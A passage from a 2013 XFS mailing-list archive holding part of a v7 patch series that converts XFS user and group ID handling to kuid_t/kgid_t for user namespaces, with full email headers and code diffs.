appropriate Message-ID: <20130729230633.725a282e@oracle.com> X-ASG-Orig-Subj: [PATCH v7 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1375153615 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hi All, This updated patchset is on top of ad81f054 of xfs git (3.11-rc1). The patches do not convert the id's returned from bulkstat, since bulkstat cannot be called from inside a userns right now anyway since the caller must be CAP_SYS_ADMIN in init_user_ns. Changes since v6 patchset (addressing Dave's comments) - 0006 just do a capable(CAP_SYS_ADMIN) check for XFS_IOC_FREE_EOFBLOCKS Changes since v5 patchset (addressing Brian's comments, only 0005 and 0006 are changed): - 0005 put all eofblocks validation in xfs_fs_eofblocks_from_user() - 0006 don't export internal flag, add K to internal flag name, start internal flags bits at msb (with the intention that other internal flags would be in descending order) and ensure that it doesn't accidentally collide with external flags Changes since v4 patchset (addressing Dave's comments): - add parenthesis in if with binary and logical and (EOFBLOCKS flags) - rename xfs_fs_eofblocks_to_internal -> xfs_fs_eofblocks_from_user and move conversion validation into it - fix negative error returns from XFS_IOC_FREE_EOFBLOCKS - add check for read-only filesystem to XFS_IOC_FREE_EOFBLOCKS Changes since v3 patchset: - export inode_capable() for building xfs as a module - implement Brian's proposal for an internal flag to indicate to xfs_inode_free_eofblocks() that it should do a permission check. ioctl callers will always set this flag, which is simpler than making them specify XFS_EOF_FLAGS_UID or XFS_EOF_FLAGS_GID, internal callers can leave it unset so no permission checking is done - take Brian's suggestion on moving the policy from the conversion function into the ioctl code, and moving stuff to xfs_icache.h From dwight.engen@oracle.com Mon Jul 29 22:07:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4530A7F55 for ; Mon, 29 Jul 2013 22:07:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C62FCAC002 for ; Mon, 29 Jul 2013 20:07:02 -0700 (PDT) X-ASG-Debug-ID: 1375153621-04cb6c2e9c204a80001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id yzzXvE8oXw60UBgh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:07:01 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U370Eb029419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Jul 2013 03:07:01 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36xCY017068 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 03:06:59 GMT Received: from abhmt117.oracle.com (abhmt117.oracle.com [141.146.116.69]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36xEA016208 for ; Tue, 30 Jul 2013 03:06:59 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:06:58 -0700 Date: Mon, 29 Jul 2013 23:06:50 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v7 3/7] xfs: ioctl check for capabilities in the current user namespace Message-ID: <20130729230650.5db8228a@oracle.com> X-ASG-Orig-Subj: [PATCH v7 3/7] xfs: ioctl check for capabilities in the current user namespace Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1375153621 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use inode_capable() to check if SUID|SGID bits should be cleared to match similar check in inode_change_ok(). The check for CAP_LINUX_IMMUTABLE was not modified since all other file systems also check against init_user_ns rather than current_user_ns. Reviewed-by: Dave Chinner Signed-off-by: Dwight Engen --- fs/xfs/xfs_ioctl.c | 4 ++-- kernel/capability.c | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 6e2bca5..8edc780 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -981,7 +981,7 @@ xfs_ioctl_setattr( * to the file owner ID, except in cases where the * CAP_FSETID capability is applicable. */ - if (current_fsuid() != ip->i_d.di_uid && !capable(CAP_FOWNER)) { + if (!inode_owner_or_capable(VFS_I(ip))) { code = XFS_ERROR(EPERM); goto error_return; } @@ -1103,7 +1103,7 @@ xfs_ioctl_setattr( * cleared upon successful return from chown() */ if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) && - !capable(CAP_FSETID)) + !inode_capable(VFS_I(ip), CAP_FSETID)) ip->i_d.di_mode &= ~(S_ISUID|S_ISGID); /* diff --git a/kernel/capability.c b/kernel/capability.c index f6c2ce5..a4b6744 100644 --- a/kernel/capability.c +++ b/kernel/capability.c @@ -464,3 +464,4 @@ bool inode_capable(const struct inode *inode, int cap) return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); } +EXPORT_SYMBOL(inode_capable); -- 1.8.1.4 From dwight.engen@oracle.com Mon Jul 29 22:07:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6CD1B7F60 for ; Mon, 29 Jul 2013 22:07:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5CD2A30406B for ; Mon, 29 Jul 2013 20:07:09 -0700 (PDT) X-ASG-Debug-ID: 1375153627-04cbb02c3b202240001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id eaZTulHNLx5Hhljc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:07:08 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U376T7011859 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Jul 2013 03:07:07 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U374m2028178 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 03:07:06 GMT Received: from abhmt116.oracle.com (abhmt116.oracle.com [141.146.116.68]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U374eP015358 for ; Tue, 30 Jul 2013 03:07:04 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:07:03 -0700 Date: Mon, 29 Jul 2013 23:06:55 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v7 4/7] xfs: convert kuid_t to/from uid_t for internal structures Message-ID: <20130729230655.4bd762c6@oracle.com> X-ASG-Orig-Subj: [PATCH v7 4/7] xfs: convert kuid_t to/from uid_t for internal structures Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1375153627 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use uint32 from init_user_ns for xfs internal uid/gid representation in xfs_icdinode, xfs_dqid_t. Reviewed-by: Dave Chinner Signed-off-by: Dwight Engen --- fs/xfs/xfs_inode.c | 6 +++--- fs/xfs/xfs_iops.c | 38 ++++++++++++++++++++------------------ fs/xfs/xfs_qm.c | 10 +++++----- fs/xfs/xfs_quota.h | 11 ++++++----- fs/xfs/xfs_symlink.c | 7 +++++-- fs/xfs/xfs_vnodeops.c | 8 +++++--- 6 files changed, 44 insertions(+), 36 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index bb262c2..3e45ff1 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1295,8 +1295,8 @@ xfs_ialloc( ip->i_d.di_onlink = 0; ip->i_d.di_nlink = nlink; ASSERT(ip->i_d.di_nlink == nlink); - ip->i_d.di_uid = current_fsuid(); - ip->i_d.di_gid = current_fsgid(); + ip->i_d.di_uid = xfs_kuid_to_uid(current_fsuid()); + ip->i_d.di_gid = xfs_kgid_to_gid(current_fsgid()); xfs_set_projid(ip, prid); memset(&(ip->i_d.di_pad[0]), 0, sizeof(ip->i_d.di_pad)); @@ -1335,7 +1335,7 @@ xfs_ialloc( */ if ((irix_sgid_inherit) && (ip->i_d.di_mode & S_ISGID) && - (!in_group_p((gid_t)ip->i_d.di_gid))) { + (!in_group_p(xfs_gid_to_kgid(ip->i_d.di_gid)))) { ip->i_d.di_mode &= ~S_ISGID; } diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 96dda62..10e0152 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -420,8 +420,8 @@ xfs_vn_getattr( stat->dev = inode->i_sb->s_dev; stat->mode = ip->i_d.di_mode; stat->nlink = ip->i_d.di_nlink; - stat->uid = ip->i_d.di_uid; - stat->gid = ip->i_d.di_gid; + stat->uid = inode->i_uid; + stat->gid = inode->i_gid; stat->ino = ip->i_ino; stat->atime = inode->i_atime; stat->mtime = inode->i_mtime; @@ -485,8 +485,8 @@ xfs_setattr_nonsize( int mask = iattr->ia_valid; xfs_trans_t *tp; int error; - uid_t uid = 0, iuid = 0; - gid_t gid = 0, igid = 0; + kuid_t uid = GLOBAL_ROOT_UID, iuid = GLOBAL_ROOT_UID; + kgid_t gid = GLOBAL_ROOT_GID, igid = GLOBAL_ROOT_GID; struct xfs_dquot *udqp = NULL, *gdqp = NULL; struct xfs_dquot *olddquot1 = NULL, *olddquot2 = NULL; @@ -522,13 +522,13 @@ xfs_setattr_nonsize( uid = iattr->ia_uid; qflags |= XFS_QMOPT_UQUOTA; } else { - uid = ip->i_d.di_uid; + uid = inode->i_uid; } if ((mask & ATTR_GID) && XFS_IS_GQUOTA_ON(mp)) { gid = iattr->ia_gid; qflags |= XFS_QMOPT_GQUOTA; } else { - gid = ip->i_d.di_gid; + gid = inode->i_gid; } /* @@ -538,8 +538,10 @@ xfs_setattr_nonsize( */ ASSERT(udqp == NULL); ASSERT(gdqp == NULL); - error = xfs_qm_vop_dqalloc(ip, uid, gid, xfs_get_projid(ip), - qflags, &udqp, &gdqp, NULL); + error = xfs_qm_vop_dqalloc(ip, xfs_kuid_to_uid(uid), + xfs_kgid_to_gid(gid), + xfs_get_projid(ip), + qflags, &udqp, &gdqp, NULL); if (error) return error; } @@ -561,8 +563,8 @@ xfs_setattr_nonsize( * while we didn't have the inode locked, inode's dquot(s) * would have changed also. */ - iuid = ip->i_d.di_uid; - igid = ip->i_d.di_gid; + iuid = inode->i_uid; + igid = inode->i_gid; gid = (mask & ATTR_GID) ? iattr->ia_gid : igid; uid = (mask & ATTR_UID) ? iattr->ia_uid : iuid; @@ -571,8 +573,8 @@ xfs_setattr_nonsize( * going to change. */ if (XFS_IS_QUOTA_RUNNING(mp) && - ((XFS_IS_UQUOTA_ON(mp) && iuid != uid) || - (XFS_IS_GQUOTA_ON(mp) && igid != gid))) { + ((XFS_IS_UQUOTA_ON(mp) && !uid_eq(iuid, uid)) || + (XFS_IS_GQUOTA_ON(mp) && !gid_eq(igid, gid)))) { ASSERT(tp); error = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, NULL, capable(CAP_FOWNER) ? @@ -602,17 +604,17 @@ xfs_setattr_nonsize( * Change the ownerships and register quota modifications * in the transaction. */ - if (iuid != uid) { + if (!uid_eq(iuid, uid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_UQUOTA_ON(mp)) { ASSERT(mask & ATTR_UID); ASSERT(udqp); olddquot1 = xfs_qm_vop_chown(tp, ip, &ip->i_udquot, udqp); } - ip->i_d.di_uid = uid; + ip->i_d.di_uid = xfs_kuid_to_uid(uid); inode->i_uid = uid; } - if (igid != gid) { + if (!gid_eq(igid, gid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_GQUOTA_ON(mp)) { ASSERT(!XFS_IS_PQUOTA_ON(mp)); ASSERT(mask & ATTR_GID); @@ -620,7 +622,7 @@ xfs_setattr_nonsize( olddquot2 = xfs_qm_vop_chown(tp, ip, &ip->i_gdquot, gdqp); } - ip->i_d.di_gid = gid; + ip->i_d.di_gid = xfs_kgid_to_gid(gid); inode->i_gid = gid; } } @@ -1173,8 +1175,8 @@ xfs_setup_inode( inode->i_mode = ip->i_d.di_mode; set_nlink(inode, ip->i_d.di_nlink); - inode->i_uid = ip->i_d.di_uid; - inode->i_gid = ip->i_d.di_gid; + inode->i_uid = xfs_uid_to_kuid(ip->i_d.di_uid); + inode->i_gid = xfs_gid_to_kgid(ip->i_d.di_gid); switch (inode->i_mode & S_IFMT) { case S_IFBLK: diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 1e2361d..900918e 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -1770,8 +1770,8 @@ xfs_qm_write_sb_changes( int xfs_qm_vop_dqalloc( struct xfs_inode *ip, - uid_t uid, - gid_t gid, + xfs_dqid_t uid, + xfs_dqid_t gid, prid_t prid, uint flags, struct xfs_dquot **O_udqpp, @@ -1818,7 +1818,7 @@ xfs_qm_vop_dqalloc( * holding ilock. */ xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t) uid, + error = xfs_qm_dqget(mp, NULL, uid, XFS_DQ_USER, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1845,7 +1845,7 @@ xfs_qm_vop_dqalloc( if ((flags & XFS_QMOPT_GQUOTA) && XFS_IS_GQUOTA_ON(mp)) { if (ip->i_d.di_gid != gid) { xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t)gid, + error = xfs_qm_dqget(mp, NULL, gid, XFS_DQ_GROUP, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1979,7 +1979,7 @@ xfs_qm_vop_chown_reserve( XFS_QMOPT_RES_RTBLKS : XFS_QMOPT_RES_REGBLKS; if (XFS_IS_UQUOTA_ON(mp) && udqp && - ip->i_d.di_uid != (uid_t)be32_to_cpu(udqp->q_core.d_id)) { + ip->i_d.di_uid != be32_to_cpu(udqp->q_core.d_id)) { udq_delblks = udqp; /* * If there are delayed allocation blocks, then we have to diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index b14f42c..39720ef 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -340,8 +340,9 @@ extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, struct xfs_mount *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *, long, long, uint); -extern int xfs_qm_vop_dqalloc(struct xfs_inode *, uid_t, gid_t, prid_t, uint, - struct xfs_dquot **, struct xfs_dquot **, struct xfs_dquot **); +extern int xfs_qm_vop_dqalloc(struct xfs_inode *, xfs_dqid_t, xfs_dqid_t, + prid_t, uint, struct xfs_dquot **, struct xfs_dquot **, + struct xfs_dquot **); extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *); extern int xfs_qm_vop_rename_dqattach(struct xfs_inode **); @@ -362,9 +363,9 @@ extern void xfs_qm_unmount_quotas(struct xfs_mount *); #else static inline int -xfs_qm_vop_dqalloc(struct xfs_inode *ip, uid_t uid, gid_t gid, prid_t prid, - uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp, - struct xfs_dquot **pdqp) +xfs_qm_vop_dqalloc(struct xfs_inode *ip, xfs_dqid_t uid, xfs_dqid_t gid, + prid_t prid, uint flags, struct xfs_dquot **udqp, + struct xfs_dquot **gdqp, struct xfs_dquot **pdqp) { *udqp = NULL; *gdqp = NULL; diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f4895b6..d39fcfd 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -386,8 +386,11 @@ xfs_symlink( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) goto std_return; diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index dc730ac..ed8aa19 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -507,9 +507,11 @@ xfs_create( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, - &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) return error; -- 1.8.1.4 From dwight.engen@oracle.com Mon Jul 29 22:07:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 674DA7F6C for ; Mon, 29 Jul 2013 22:07:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 47E58304067 for ; Mon, 29 Jul 2013 20:07:13 -0700 (PDT) X-ASG-Debug-ID: 1375153632-04cbb02c3c202250001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id JDdRFYDRafzvzsaN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:07:12 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U37BIW029807 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Jul 2013 03:07:11 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U379DP016529 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 03:07:11 GMT Received: from abhmt120.oracle.com (abhmt120.oracle.com [141.146.116.72]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U379tq015493 for ; Tue, 30 Jul 2013 03:07:09 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:07:08 -0700 Date: Mon, 29 Jul 2013 23:07:00 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v7 5/7] xfs: create internal eofblocks structure with kuid_t types Message-ID: <20130729230700.6d07bf73@oracle.com> X-ASG-Orig-Subj: [PATCH v7 5/7] xfs: create internal eofblocks structure with kuid_t types Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1375153632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Have eofblocks ioctl convert uid_t to kuid_t into internal structure. Update internal filter matching to compare ids with kuid_t types. Reviewed-by: Brian Foster Signed-off-by: Dwight Engen --- fs/xfs/xfs_fs.h | 2 +- fs/xfs/xfs_icache.c | 12 ++++++------ fs/xfs/xfs_icache.h | 43 +++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_ioctl.c | 18 ++++++------------ 4 files changed, 56 insertions(+), 19 deletions(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index d046955..7eb4a5e 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -344,7 +344,7 @@ typedef struct xfs_error_injection { * Speculative preallocation trimming. */ #define XFS_EOFBLOCKS_VERSION 1 -struct xfs_eofblocks { +struct xfs_fs_eofblocks { __u32 eof_version; __u32 eof_flags; uid_t eof_uid; diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 3f90e1c..ed35584 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -619,7 +619,7 @@ restart: /* * Background scanning to trim post-EOF preallocated space. This is queued - * based on the 'background_prealloc_discard_period' tunable (5m by default). + * based on the 'speculative_prealloc_lifetime' tunable (5m by default). */ STATIC void xfs_queue_eofblocks( @@ -1203,15 +1203,15 @@ xfs_inode_match_id( struct xfs_inode *ip, struct xfs_eofblocks *eofb) { - if (eofb->eof_flags & XFS_EOF_FLAGS_UID && - ip->i_d.di_uid != eofb->eof_uid) + if ((eofb->eof_flags & XFS_EOF_FLAGS_UID) && + !uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid)) return 0; - if (eofb->eof_flags & XFS_EOF_FLAGS_GID && - ip->i_d.di_gid != eofb->eof_gid) + if ((eofb->eof_flags & XFS_EOF_FLAGS_GID) && + !gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid)) return 0; - if (eofb->eof_flags & XFS_EOF_FLAGS_PRID && + if ((eofb->eof_flags & XFS_EOF_FLAGS_PRID) && xfs_get_projid(ip) != eofb->eof_prid) return 0; diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index a01afbb..66a1a22 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -21,6 +21,14 @@ struct xfs_mount; struct xfs_perag; +struct xfs_eofblocks { + __u32 eof_flags; + kuid_t eof_uid; + kgid_t eof_gid; + prid_t eof_prid; + __u64 eof_min_file_size; +}; + #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ @@ -49,4 +57,39 @@ int xfs_inode_ag_iterator_tag(struct xfs_mount *mp, int flags, void *args), int flags, void *args, int tag); +static inline int +xfs_fs_eofblocks_from_user( + struct xfs_fs_eofblocks *src, + struct xfs_eofblocks *dst) +{ + if (src->eof_version != XFS_EOFBLOCKS_VERSION) + return EINVAL; + + if (src->eof_flags & ~XFS_EOF_FLAGS_VALID) + return EINVAL; + + if (memchr_inv(&src->pad32, 0, sizeof(src->pad32)) || + memchr_inv(src->pad64, 0, sizeof(src->pad64))) + return EINVAL; + + dst->eof_flags = src->eof_flags; + dst->eof_prid = src->eof_prid; + dst->eof_min_file_size = src->eof_min_file_size; + + dst->eof_uid = INVALID_UID; + if (src->eof_flags & XFS_EOF_FLAGS_UID) { + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); + if (!uid_valid(dst->eof_uid)) + return EINVAL; + } + + dst->eof_gid = INVALID_GID; + if (src->eof_flags & XFS_EOF_FLAGS_GID) { + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); + if (!gid_valid(dst->eof_gid)) + return EINVAL; + } + return 0; +} + #endif diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 8edc780..6e72eff 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1610,23 +1610,17 @@ xfs_file_ioctl( return -error; case XFS_IOC_FREE_EOFBLOCKS: { - struct xfs_eofblocks eofb; + struct xfs_fs_eofblocks eofb; + struct xfs_eofblocks keofb; if (copy_from_user(&eofb, arg, sizeof(eofb))) return -XFS_ERROR(EFAULT); - if (eofb.eof_version != XFS_EOFBLOCKS_VERSION) - return -XFS_ERROR(EINVAL); - - if (eofb.eof_flags & ~XFS_EOF_FLAGS_VALID) - return -XFS_ERROR(EINVAL); - - if (memchr_inv(&eofb.pad32, 0, sizeof(eofb.pad32)) || - memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) - return -XFS_ERROR(EINVAL); + error = xfs_fs_eofblocks_from_user(&eofb, &keofb); + if (error) + return -error; - error = xfs_icache_free_eofblocks(mp, &eofb); - return -error; + return -xfs_icache_free_eofblocks(mp, &keofb); } default: -- 1.8.1.4 From dwight.engen@oracle.com Mon Jul 29 22:07:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by 